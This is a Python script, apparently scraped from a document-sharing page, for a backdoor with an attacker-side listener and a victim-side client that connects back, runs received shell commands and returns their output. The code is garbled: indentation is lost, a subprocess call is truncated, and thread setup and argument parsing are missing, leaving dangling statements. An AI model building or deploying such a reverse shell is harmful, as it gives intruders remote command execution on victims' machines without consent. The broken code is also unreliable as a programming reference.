Professional Documents
Culture Documents
import sys
import subprocess
import os
import socket
IP = "192.168.100.13"
PORT = 0
LISTENER = True
CHAT = False
def help():
print("Usages:")
print()
print("Options:")
print()
print("Examples:")
def validate_ip(ip):
try:
socket.inet_pton(socket.AF_INET, ip)
return True
except:
return False
def a_send_chat(c):
while True:
try:
msg = input()
if msg == 'exit':
print("Exit program.")
c.close()
print("Connection closed.")
break
c.send(msg.encode())
except:
break
def a_recv_chat(c):
while True:
try:
res = c.recv(2048)
if res != b'':
print("Backdoor Succeed")
except:
break
def a_command(c):
while True:
try:
path = c.recv(2048).decode()
cmd = input(path+">")
if cmd == "exit":
c.close()
print("Connection closed.")
break
continue
c.send(cmd.encode())
if cmd[:2] == "cd":
continue
else:
res = c.recv(2048)
if res != b'':
print(res.decode())
except:
break
def v_send_chat(c):
while True:
try:
msg = input()
if msg == 'exit':
c.close()
print("Exit program.")
print("Connection closed.")
break
c.send(msg.encode())
except:
break
def v_recv_chat(c):
while True:
try:
res = c.recv(2048)
if res != b'':
print("-------------------------")
except:
break
def v_exec(c):
while True:
try:
path = os.getcwd()
c.send(path.encode())
cmd = c.recv(2048).decode()
if cmd[:2] == "cd":
try:
os.chdir(cmd[3:])
except:
c.send("Invalid Directory".decode())
else:
process = subprocess.Popen(
if err != b'':
c.send(err)
c.send(res)
c.send("Command executed".encode())
except:
break
def run():
if LISTENER:
asocket = socket.socket()
asocket.bind((IP, PORT))
asocket.listen(1)
print(f"Running on {IP}:{PORT}")
c, addr = asocket.accept()
if CHAT:
print("Start a chat...")
sthread.start()
rthread.start()
sthread.join()
rthread.join()
else:
a_command(c)
else:
vsocket = socket.socket()
vsocket.connect((IP, PORT))
if CHAT:
print("Start a chat...")
sthread.start()
rthread.start()
sthread.join()
rthread.join()
else:
v_exec(vsocket)
def main():
h = False
break
if validate_ip(value):
IP = value
else:
break
break
else:
PORT = int(value)
LISTENER = True
CHAT = True
if h:
help()
else:
run()
if __name__ == "__main__":
main()